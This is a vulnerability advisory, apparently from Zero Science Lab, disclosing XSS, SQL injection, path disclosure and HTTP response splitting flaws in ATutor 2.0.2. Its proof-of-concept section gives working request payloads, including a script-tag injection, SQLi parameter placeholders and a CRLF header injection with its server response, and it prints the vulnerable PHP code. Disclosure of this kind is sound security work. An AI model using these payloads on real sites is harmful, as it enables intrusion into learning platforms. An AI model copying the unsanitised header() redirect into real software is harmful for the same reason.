ATutor 2.0.2 – Multiple Vulnerabilities
ATutor 2.0.2 Multiple Remote Vulnerabilities (SQLi/XSS/PD) Vendor: ATutor (Inclusive Design Institute) Product web page: http://www.atutor.ca Affected version: 2.0.2 (build r10589) Summary: ATutor is an Open Source Web-based Learning Content Management System (LCMS) designed with accessibility and adaptability in mind. Educators can quickly assemble, package, and redistribute Web-based instructional content, easily retrieve and import prepackaged content, and conduct their courses online. Desc: ATutor suffers from sql injection, cross-site scripting and path disclosure vulnerabilities. The XSS issue is triggered when input passed via the 'search_friends_HASH' POST parameter, where HASH is the value generated by the 'rand_key' parameter, to the '/mods/_standard/social/index_public.php' script is not properly sanitised before being returned to the user. The PD issues can be triggered by the cookie variable 'ATutorID' when setting random value or none in various scripts. The SQLi issue can be triggered by 'p_course', 'name' and 'value' parameters in '/mods/_standard/social/set_prefs.php' script. Theese issues can be exploited to execute arbitrary HTML and script code in a user's browser session in context of an affected site, displaying the full installation path in an error report and to manipulate SQL queries by injecting arbitrary SQL code. Tested on: Microsoft Windows XP Professional SP3 (EN) Apache 2.2.14 (Win32) PHP 5.3.1 MySQL 5.1.41 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2011-5036 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5036.php 31.07.2011 PoC: XSS: --------------------- POST http://localhost/ATutor/mods/_standard/social/index_public.php HTTP/1.0 search_friends_2c62c1e5aff70ba8a3268d1d1885a600=1>"><script>alert(1)</script>&search=Search&rand_key=2c62c1e5aff70ba8a3268d1d1885a600 SQLi: --------------------- http://localhost/mods/_standard/social/set_prefs.php?cid=〈=&p_course=[INJECTION]&h=&expand=&oid=&id=&submit_language=&st=&name=[INJECTION]&value=[INJECTION] PD: --------------------- GET /documentation/common/frame_header.php HTTP/1.0 Accept: */* Host: localhost Cookie: ATutorID=-1.0 Connection: Close Pragma: no-cache ATutor 2.0.2 (lang) HTTP Response Splitting Vulnerability Vendor: ATutor (Inclusive Design Institute) Product web page: http://www.atutor.ca Affected version: 2.0.2 (build r10589) Summary: ATutor is an Open Source Web-based Learning Content Management System (LCMS) designed with accessibility and adaptability in mind. Educators can quickly assemble, package, and redistribute Web-based instructional content, easily retrieve and import prepackaged content, and conduct their courses online. Desc: Input passed to the 'lang' parameter in '/documentation/index_list.php' is not properly sanitised before being returned to the user. This can be exploited to insert arbitrary HTTP headers, which are included in a response sent to the user. ======================== vulnerable code ======================== /documentation/index_list.php: ------------------------------ 1: <?php 2: header('Location: index/index.php?'.$_GET['lang']); 3: exit; 4: ?> ======================= /vulnerable code ======================== Tested on: Microsoft Windows XP Professional SP3 (EN) Apache 2.2.14 (Win32) PHP 5.3.1 MySQL 5.1.41 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2011-5037 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5037.php 31.07.2011 -- [GET] http://10.0.0.13/documentation/index_list.php?lang=%0d%0a%20ZSL%2dCustom%2dHeader%3alove_injection ---- HTTP/1.1 302 Found Date: Sun, 31 Jul 2011 21:08:54 GMT Server: Apache/2.2.14 (Win32) X-Powered-By: PHP/5.3.1 Location: index/index.php? ZSL-Custom-Header: love_injection Content-Length: 0 Connection: close Content-Type: text/html -- Copyleft (c) Zero Science Lab - Information Security Services This advisory is best viewed in maximized Notepad on 1680x1050 screen resolution. |